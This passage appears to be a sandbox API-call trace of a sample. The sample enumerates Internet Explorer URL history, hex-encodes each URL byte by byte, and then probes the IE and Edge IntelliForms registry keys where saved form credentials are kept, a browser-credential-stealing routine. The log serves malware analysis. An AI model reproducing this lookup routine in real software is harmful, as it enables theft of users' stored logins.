lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD1", lpString2="10" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD110") returned="DE4AFD2ECC7EE0673E7840E4E1CDD110" [0053.492] LocalFree (hMem=0x758820) returned 0x0 [0053.492] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="28") returned 2 [0053.492] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4E1CDD110") returned 32 [0053.492] lstrlenA (lpString="28") returned 2 [0053.492] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0053.492] lstrcpyA (in: lpString1=0x754820, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD110" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD110") returned="DE4AFD2ECC7EE0673E7840E4E1CDD110" [0053.492] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD110", lpString2="28" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028" [0053.492] LocalFree (hMem=0x7548d0) returned 0x0 [0053.492] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="15") returned 2 [0053.492] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4E1CDD11028") returned 34 [0053.492] lstrlenA (lpString="15") returned 2 [0053.492] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x7548d0 [0053.492] lstrcpyA (in: lpString1=0x7548d0, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD11028" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028" [0053.492] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028", lpString2="15" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD1102815") returned="DE4AFD2ECC7EE0673E7840E4E1CDD1102815" [0053.492] LocalFree (hMem=0x754820) returned 0x0 [0053.492] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0E") returned 2 [0053.492] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4E1CDD1102815") returned 36 [0053.492] lstrlenA (lpString="0E") returned 2 [0053.492] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0053.492] lstrcpyA (in: lpString1=0x754820, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD1102815" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD1102815") returned="DE4AFD2ECC7EE0673E7840E4E1CDD1102815" [0053.492] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD1102815", lpString2="0E" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E" [0053.492] LocalFree (hMem=0x7548d0) returned 0x0 [0053.492] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9D") returned 2 [0053.492] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E") returned 38 [0053.492] lstrlenA (lpString="9D") returned 2 [0053.492] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750820 [0053.492] lstrcpyA (in: lpString1=0x750820, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E" [0053.492] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E", lpString2="9D" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D" [0053.492] LocalFree (hMem=0x754820) returned 0x0 [0053.492] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="35") returned 2 [0053.492] lstrlenA (lpString="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D") returned 40 [0053.492] lstrlenA (lpString="35") returned 2 [0053.493] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x7508d8 [0053.493] lstrcpyA (in: lpString1=0x7508d8, lpString2="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D" [0053.493] lstrcatA (in: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D", lpString2="35" | out: lpString1="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D35") returned="DE4AFD2ECC7EE0673E7840E4E1CDD11028150E9D35" [0053.493] LocalFree (hMem=0x750820) returned 0x0 [0053.493] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.493] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.493] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.493] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.493] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.493] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.493] LocalFree (hMem=0x7508d8) returned 0x0 [0053.493] CoTaskMemFree (pv=0x721848) [0053.493] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.493] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/lsr2XHXEWF%20fzF2X.bmp", lpSrch="?") returned 0x0 [0053.493] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/lsr2XHXEWF%20fzF2X.bmp") returned 72 [0053.493] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B2") returned 2 [0053.493] lstrlenA (lpString="") returned 0 [0053.493] lstrlenA (lpString="B2") returned 2 [0053.493] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75bdc0 [0053.493] lstrcpyA (in: lpString1=0x75bdc0, lpString2="" | out: lpString1="") returned="" [0053.493] lstrcatA (in: lpString1="", lpString2="B2" | out: lpString1="B2") returned="B2" [0053.493] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="03") returned 2 [0053.493] lstrlenA (lpString="B2") returned 2 [0053.493] lstrlenA (lpString="03") returned 2 [0053.493] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75be50 [0053.493] lstrcpyA (in: lpString1=0x75be50, lpString2="B2" | out: lpString1="B2") returned="B2" [0053.493] lstrcatA (in: lpString1="B2", lpString2="03" | out: lpString1="B203") returned="B203" [0053.493] LocalFree (hMem=0x75bdc0) returned 0x0 [0053.493] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FB") returned 2 [0053.493] lstrlenA (lpString="B203") returned 4 [0053.493] lstrlenA (lpString="FB") returned 2 [0053.493] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75bdc0 [0053.494] lstrcpyA (in: lpString1=0x75bdc0, lpString2="B203" | out: lpString1="B203") returned="B203" [0053.494] lstrcatA (in: lpString1="B203", lpString2="FB" | out: lpString1="B203FB") returned="B203FB" [0053.494] LocalFree (hMem=0x75be50) returned 0x0 [0053.494] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="00") returned 2 [0053.494] lstrlenA (lpString="B203FB") returned 6 [0053.494] lstrlenA (lpString="00") returned 2 [0053.494] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75be50 [0053.494] lstrcpyA (in: lpString1=0x75be50, lpString2="B203FB" | out: lpString1="B203FB") returned="B203FB" [0053.494] lstrcatA (in: lpString1="B203FB", lpString2="00" | out: lpString1="B203FB00") returned="B203FB00" [0053.494] LocalFree (hMem=0x75bdc0) returned 0x0 [0053.494] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="62") returned 2 [0053.494] lstrlenA (lpString="B203FB00") returned 8 [0053.494] lstrlenA (lpString="62") returned 2 [0053.494] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75bee8 [0053.494] lstrcpyA (in: lpString1=0x75bee8, lpString2="B203FB00" | out: lpString1="B203FB00") returned="B203FB00" [0053.494] lstrcatA (in: lpString1="B203FB00", lpString2="62" | out: lpString1="B203FB0062") returned="B203FB0062" [0053.494] LocalFree (hMem=0x75be50) returned 0x0 [0053.494] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9C") returned 2 [0053.494] lstrlenA (lpString="B203FB0062") returned 10 [0053.494] lstrlenA (lpString="9C") returned 2 [0053.494] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75bdc0 [0053.494] lstrcpyA (in: lpString1=0x75bdc0, lpString2="B203FB0062" | out: lpString1="B203FB0062") returned="B203FB0062" [0053.494] lstrcatA (in: lpString1="B203FB0062", lpString2="9C" | out: lpString1="B203FB00629C") returned="B203FB00629C" [0053.494] LocalFree (hMem=0x75bee8) returned 0x0 [0053.494] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1C") returned 2 [0053.494] lstrlenA (lpString="B203FB00629C") returned 12 [0053.494] lstrlenA (lpString="1C") returned 2 [0053.494] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75be58 [0053.494] lstrcpyA (in: lpString1=0x75be58, lpString2="B203FB00629C" | out: lpString1="B203FB00629C") returned="B203FB00629C" [0053.494] lstrcatA (in: lpString1="B203FB00629C", lpString2="1C" | out: lpString1="B203FB00629C1C") returned="B203FB00629C1C" [0053.494] LocalFree (hMem=0x75bdc0) returned 0x0 [0053.494] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="08") returned 2 [0053.494] lstrlenA (lpString="B203FB00629C1C") returned 14 [0053.494] lstrlenA (lpString="08") returned 2 [0053.494] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75bef0 [0053.494] lstrcpyA (in: lpString1=0x75bef0, lpString2="B203FB00629C1C" | out: lpString1="B203FB00629C1C") returned="B203FB00629C1C" [0053.494] lstrcatA (in: lpString1="B203FB00629C1C", lpString2="08" | out: lpString1="B203FB00629C1C08") returned="B203FB00629C1C08" [0053.494] LocalFree (hMem=0x75be58) returned 0x0 [0053.494] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="39") returned 2 [0053.494] lstrlenA (lpString="B203FB00629C1C08") returned 16 [0053.494] lstrlenA (lpString="39") returned 2 [0053.494] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75bdc0 [0053.494] lstrcpyA (in: lpString1=0x75bdc0, lpString2="B203FB00629C1C08" | out: lpString1="B203FB00629C1C08") returned="B203FB00629C1C08" [0053.494] lstrcatA (in: lpString1="B203FB00629C1C08", lpString2="39" | out: lpString1="B203FB00629C1C0839") returned="B203FB00629C1C0839" [0053.494] LocalFree (hMem=0x75bef0) returned 0x0 [0053.494] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="01") returned 2 [0053.494] lstrlenA (lpString="B203FB00629C1C0839") returned 18 [0053.494] lstrlenA (lpString="01") returned 2 [0053.494] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75be60 [0053.494] lstrcpyA (in: lpString1=0x75be60, lpString2="B203FB00629C1C0839" | out: lpString1="B203FB00629C1C0839") returned="B203FB00629C1C0839" [0053.494] lstrcatA (in: lpString1="B203FB00629C1C0839", lpString2="01" | out: lpString1="B203FB00629C1C083901") returned="B203FB00629C1C083901" [0053.494] LocalFree (hMem=0x75bdc0) returned 0x0 [0053.494] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="69") returned 2 [0053.494] lstrlenA (lpString="B203FB00629C1C083901") returned 20 [0053.494] lstrlenA (lpString="69") returned 2 [0053.494] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75bdc0 [0053.494] lstrcpyA (in: lpString1=0x75bdc0, lpString2="B203FB00629C1C083901" | out: lpString1="B203FB00629C1C083901") returned="B203FB00629C1C083901" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C083901", lpString2="69" | out: lpString1="B203FB00629C1C08390169") returned="B203FB00629C1C08390169" [0053.495] LocalFree (hMem=0x75be60) returned 0x0 [0053.495] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="15") returned 2 [0053.495] lstrlenA (lpString="B203FB00629C1C08390169") returned 22 [0053.495] lstrlenA (lpString="15") returned 2 [0053.495] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.495] lstrcpyA (in: lpString1=0x758820, lpString2="B203FB00629C1C08390169" | out: lpString1="B203FB00629C1C08390169") returned="B203FB00629C1C08390169" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C08390169", lpString2="15" | out: lpString1="B203FB00629C1C0839016915") returned="B203FB00629C1C0839016915" [0053.495] LocalFree (hMem=0x75bdc0) returned 0x0 [0053.495] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A3") returned 2 [0053.495] lstrlenA (lpString="B203FB00629C1C0839016915") returned 24 [0053.495] lstrlenA (lpString="A3") returned 2 [0053.495] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x7588c8 [0053.495] lstrcpyA (in: lpString1=0x7588c8, lpString2="B203FB00629C1C0839016915" | out: lpString1="B203FB00629C1C0839016915") returned="B203FB00629C1C0839016915" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C0839016915", lpString2="A3" | out: lpString1="B203FB00629C1C0839016915A3") returned="B203FB00629C1C0839016915A3" [0053.495] LocalFree (hMem=0x758820) returned 0x0 [0053.495] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="07") returned 2 [0053.495] lstrlenA (lpString="B203FB00629C1C0839016915A3") returned 26 [0053.495] lstrlenA (lpString="07") returned 2 [0053.495] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.495] lstrcpyA (in: lpString1=0x758820, lpString2="B203FB00629C1C0839016915A3" | out: lpString1="B203FB00629C1C0839016915A3") returned="B203FB00629C1C0839016915A3" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C0839016915A3", lpString2="07" | out: lpString1="B203FB00629C1C0839016915A307") returned="B203FB00629C1C0839016915A307" [0053.495] LocalFree (hMem=0x7588c8) returned 0x0 [0053.495] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C0") returned 2 [0053.495] lstrlenA (lpString="B203FB00629C1C0839016915A307") returned 28 [0053.495] lstrlenA (lpString="C0") returned 2 [0053.495] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x7588c8 [0053.495] lstrcpyA (in: lpString1=0x7588c8, lpString2="B203FB00629C1C0839016915A307" | out: lpString1="B203FB00629C1C0839016915A307") returned="B203FB00629C1C0839016915A307" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C0839016915A307", lpString2="C0" | out: lpString1="B203FB00629C1C0839016915A307C0") returned="B203FB00629C1C0839016915A307C0" [0053.495] LocalFree (hMem=0x758820) returned 0x0 [0053.495] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1A") returned 2 [0053.495] lstrlenA (lpString="B203FB00629C1C0839016915A307C0") returned 30 [0053.495] lstrlenA (lpString="1A") returned 2 [0053.495] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0053.495] lstrcpyA (in: lpString1=0x754820, lpString2="B203FB00629C1C0839016915A307C0" | out: lpString1="B203FB00629C1C0839016915A307C0") returned="B203FB00629C1C0839016915A307C0" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C0839016915A307C0", lpString2="1A" | out: lpString1="B203FB00629C1C0839016915A307C01A") returned="B203FB00629C1C0839016915A307C01A" [0053.495] LocalFree (hMem=0x7588c8) returned 0x0 [0053.495] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5A") returned 2 [0053.495] lstrlenA (lpString="B203FB00629C1C0839016915A307C01A") returned 32 [0053.495] lstrlenA (lpString="5A") returned 2 [0053.495] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x7548d0 [0053.495] lstrcpyA (in: lpString1=0x7548d0, lpString2="B203FB00629C1C0839016915A307C01A" | out: lpString1="B203FB00629C1C0839016915A307C01A") returned="B203FB00629C1C0839016915A307C01A" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C0839016915A307C01A", lpString2="5A" | out: lpString1="B203FB00629C1C0839016915A307C01A5A") returned="B203FB00629C1C0839016915A307C01A5A" [0053.495] LocalFree (hMem=0x754820) returned 0x0 [0053.495] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1F") returned 2 [0053.495] lstrlenA (lpString="B203FB00629C1C0839016915A307C01A5A") returned 34 [0053.495] lstrlenA (lpString="1F") returned 2 [0053.495] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754820 [0053.495] lstrcpyA (in: lpString1=0x754820, lpString2="B203FB00629C1C0839016915A307C01A5A" | out: lpString1="B203FB00629C1C0839016915A307C01A5A") returned="B203FB00629C1C0839016915A307C01A5A" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C0839016915A307C01A5A", lpString2="1F" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1F") returned="B203FB00629C1C0839016915A307C01A5A1F" [0053.495] LocalFree (hMem=0x7548d0) returned 0x0 [0053.495] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B8") returned 2 [0053.495] lstrlenA (lpString="B203FB00629C1C0839016915A307C01A5A1F") returned 36 [0053.495] lstrlenA (lpString="B8") returned 2 [0053.495] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0053.495] lstrcpyA (in: lpString1=0x7548d0, lpString2="B203FB00629C1C0839016915A307C01A5A1F" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1F") returned="B203FB00629C1C0839016915A307C01A5A1F" [0053.495] lstrcatA (in: lpString1="B203FB00629C1C0839016915A307C01A5A1F", lpString2="B8" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8") returned="B203FB00629C1C0839016915A307C01A5A1FB8" [0053.495] LocalFree (hMem=0x754820) returned 0x0 [0053.496] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B6") returned 2 [0053.496] lstrlenA (lpString="B203FB00629C1C0839016915A307C01A5A1FB8") returned 38 [0053.496] lstrlenA (lpString="B6") returned 2 [0053.496] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x7508d8 [0053.496] lstrcpyA (in: lpString1=0x7508d8, lpString2="B203FB00629C1C0839016915A307C01A5A1FB8" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8") returned="B203FB00629C1C0839016915A307C01A5A1FB8" [0053.496] lstrcatA (in: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8", lpString2="B6" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8B6") returned="B203FB00629C1C0839016915A307C01A5A1FB8B6" [0053.496] LocalFree (hMem=0x7548d0) returned 0x0 [0053.496] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F5") returned 2 [0053.496] lstrlenA (lpString="B203FB00629C1C0839016915A307C01A5A1FB8B6") returned 40 [0053.496] lstrlenA (lpString="F5") returned 2 [0053.496] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750820 [0053.496] lstrcpyA (in: lpString1=0x750820, lpString2="B203FB00629C1C0839016915A307C01A5A1FB8B6" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8B6") returned="B203FB00629C1C0839016915A307C01A5A1FB8B6" [0053.496] lstrcatA (in: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8B6", lpString2="F5" | out: lpString1="B203FB00629C1C0839016915A307C01A5A1FB8B6F5") returned="B203FB00629C1C0839016915A307C01A5A1FB8B6F5" [0053.496] LocalFree (hMem=0x7508d8) returned 0x0 [0053.496] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.496] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.496] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.496] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.496] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.496] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.496] LocalFree (hMem=0x750820) returned 0x0 [0053.496] CoTaskMemFree (pv=0x75bd20) [0053.496] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.496] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e9vB5qMYRtmdxvR1.doc", lpSrch="?") returned 0x0 [0053.496] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e9vB5qMYRtmdxvR1.doc") returned 62 [0053.496] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.496] lstrlenA (lpString="") returned 0 [0053.496] lstrlenA (lpString="49") returned 2 [0053.496] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75c598 [0053.496] lstrcpyA (in: lpString1=0x75c598, lpString2="" | out: lpString1="") returned="" [0053.496] lstrcatA (in: lpString1="", lpString2="49" | out: lpString1="49") returned="49" [0053.496] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="94") returned 2 [0053.496] lstrlenA (lpString="49") returned 2 [0053.497] lstrlenA (lpString="94") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75c628 [0053.497] lstrcpyA (in: lpString1=0x75c628, lpString2="49" | out: lpString1="49") returned="49" [0053.497] lstrcatA (in: lpString1="49", lpString2="94" | out: lpString1="4994") returned="4994" [0053.497] LocalFree (hMem=0x75c598) returned 0x0 [0053.497] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F3") returned 2 [0053.497] lstrlenA (lpString="4994") returned 4 [0053.497] lstrlenA (lpString="F3") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75c598 [0053.497] lstrcpyA (in: lpString1=0x75c598, lpString2="4994" | out: lpString1="4994") returned="4994" [0053.497] lstrcatA (in: lpString1="4994", lpString2="F3" | out: lpString1="4994F3") returned="4994F3" [0053.497] LocalFree (hMem=0x75c628) returned 0x0 [0053.497] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F8") returned 2 [0053.497] lstrlenA (lpString="4994F3") returned 6 [0053.497] lstrlenA (lpString="F8") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75c628 [0053.497] lstrcpyA (in: lpString1=0x75c628, lpString2="4994F3" | out: lpString1="4994F3") returned="4994F3" [0053.497] lstrcatA (in: lpString1="4994F3", lpString2="F8" | out: lpString1="4994F3F8") returned="4994F3F8" [0053.497] LocalFree (hMem=0x75c598) returned 0x0 [0053.497] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="06") returned 2 [0053.497] lstrlenA (lpString="4994F3F8") returned 8 [0053.497] lstrlenA (lpString="06") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75c6c0 [0053.497] lstrcpyA (in: lpString1=0x75c6c0, lpString2="4994F3F8" | out: lpString1="4994F3F8") returned="4994F3F8" [0053.497] lstrcatA (in: lpString1="4994F3F8", lpString2="06" | out: lpString1="4994F3F806") returned="4994F3F806" [0053.497] LocalFree (hMem=0x75c628) returned 0x0 [0053.497] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="02") returned 2 [0053.497] lstrlenA (lpString="4994F3F806") returned 10 [0053.497] lstrlenA (lpString="02") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75c598 [0053.497] lstrcpyA (in: lpString1=0x75c598, lpString2="4994F3F806" | out: lpString1="4994F3F806") returned="4994F3F806" [0053.497] lstrcatA (in: lpString1="4994F3F806", lpString2="02" | out: lpString1="4994F3F80602") returned="4994F3F80602" [0053.497] LocalFree (hMem=0x75c6c0) returned 0x0 [0053.497] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3B") returned 2 [0053.497] lstrlenA (lpString="4994F3F80602") returned 12 [0053.497] lstrlenA (lpString="3B") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75c630 [0053.497] lstrcpyA (in: lpString1=0x75c630, lpString2="4994F3F80602" | out: lpString1="4994F3F80602") returned="4994F3F80602" [0053.497] lstrcatA (in: lpString1="4994F3F80602", lpString2="3B" | out: lpString1="4994F3F806023B") returned="4994F3F806023B" [0053.497] LocalFree (hMem=0x75c598) returned 0x0 [0053.497] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="76") returned 2 [0053.497] lstrlenA (lpString="4994F3F806023B") returned 14 [0053.497] lstrlenA (lpString="76") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75c6c8 [0053.497] lstrcpyA (in: lpString1=0x75c6c8, lpString2="4994F3F806023B" | out: lpString1="4994F3F806023B") returned="4994F3F806023B" [0053.497] lstrcatA (in: lpString1="4994F3F806023B", lpString2="76" | out: lpString1="4994F3F806023B76") returned="4994F3F806023B76" [0053.497] LocalFree (hMem=0x75c630) returned 0x0 [0053.497] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="98") returned 2 [0053.497] lstrlenA (lpString="4994F3F806023B76") returned 16 [0053.497] lstrlenA (lpString="98") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75c598 [0053.497] lstrcpyA (in: lpString1=0x75c598, lpString2="4994F3F806023B76" | out: lpString1="4994F3F806023B76") returned="4994F3F806023B76" [0053.497] lstrcatA (in: lpString1="4994F3F806023B76", lpString2="98" | out: lpString1="4994F3F806023B7698") returned="4994F3F806023B7698" [0053.497] LocalFree (hMem=0x75c6c8) returned 0x0 [0053.497] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CF") returned 2 [0053.497] lstrlenA (lpString="4994F3F806023B7698") returned 18 [0053.497] lstrlenA (lpString="CF") returned 2 [0053.497] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75c638 [0053.498] lstrcpyA (in: lpString1=0x75c638, lpString2="4994F3F806023B7698" | out: lpString1="4994F3F806023B7698") returned="4994F3F806023B7698" [0053.498] lstrcatA (in: lpString1="4994F3F806023B7698", lpString2="CF" | out: 